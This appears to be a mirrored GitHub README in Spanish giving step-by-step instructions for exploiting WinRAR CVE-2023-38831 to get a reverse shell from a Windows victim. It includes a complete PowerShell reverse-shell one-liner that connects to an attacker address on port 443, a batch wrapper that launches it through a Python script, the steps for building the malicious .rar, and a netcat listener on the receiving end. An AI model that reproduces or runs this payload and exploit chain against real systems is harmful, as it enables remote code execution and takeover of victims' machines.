Maalfer / CVE-2023-38831_ReverseShell_Winrar-RCE

Pasos necesarios para obtener una reverse shell explotando la vulnerabilidad de winrar CVE-2023-38831 en versiones anteriores a 6.23.

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

OBTENCIÓN DE REVERSE SHELL EXPLOTANDO LA VULNERABILIDAD CVE-2023-38831 DE WINRAR

En este repositorio vamos a explotar la vulnerabilidad CVE-2023-38831 de winrar de tal forma que podamos obtener una reverse shell desde la máquina víctima Windows a la máquina atacante Kali Linux.

PASOS PREVIOS

Descargamos el contenido de este repositorio:

imagen

A continuación, debemos de instalar las dependencias de Python necesarias para poder explotar esta vulnerabilidad con los siguientes comandos:

pip install rarce

imagen

PREPARATIVOS

Vamos a ejecutar un código malicioso que nos proporcione una reverse shell, procedente de la web revshells.com (proporcionando la IP y puerto de atacante correspondiente):

https://www.revshells.com/

imagen

$LHOST = "192.168.0.36"; $LPORT = 443; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()

Este código de powershell lo guardamos en un fichero .ps1 (será ejecutado posteriormente):

imagen

Una vez obtenido el código en ps1 para obtener la reverse shell, creamos un fichero python que mediante el uso de la librería os se encargue de ejecutar el fichero .ps1:

imagen

Después, creamos un .bat con el siguiente código:

imagen


rem Ruta al ejecutable de Python
set PYTHON_EXECUTABLE=python.exe

rem Ruta al script de Python que deseas ejecutar
set PYTHON_SCRIPT=pwned.py

rem Ejecutar el script de Python
%PYTHON_EXECUTABLE% %PYTHON_SCRIPT%

rem Pausa para que puedas ver la salida antes de que se cierre la ventana
pause

EXPLOTACIÓN

En este punto debemos de crear el winrar malicioso:

imagen

Ejecutamos el archivo documento.pdf dentro del .rar:

imagen

imagen

Por último, si permanecemos en esucha con netcat desde una máquina atacante, habremos recibimos la reverse shell:

imagen

SOLUCIÓN DE POSIBLES ERRORES:

En caso de no poder ejecutar comandos de powershell, es necesario habilitar la ejecución de scripts en nuestro sistema:

imagen

imagen

Lo habilitamos:

imagen

Y ejecutamos el siguiente comando:

Set-ExecutionPolicy RemoteSigned -Scope CurrentUser

About

Pasos necesarios para obtener una reverse shell explotando la vulnerabilidad de winrar CVE-2023-38831 en versiones anteriores a 6.23.

License:GNU General Public License v3.0


Languages

Language:Python 95.9%Language:Batchfile 4.1%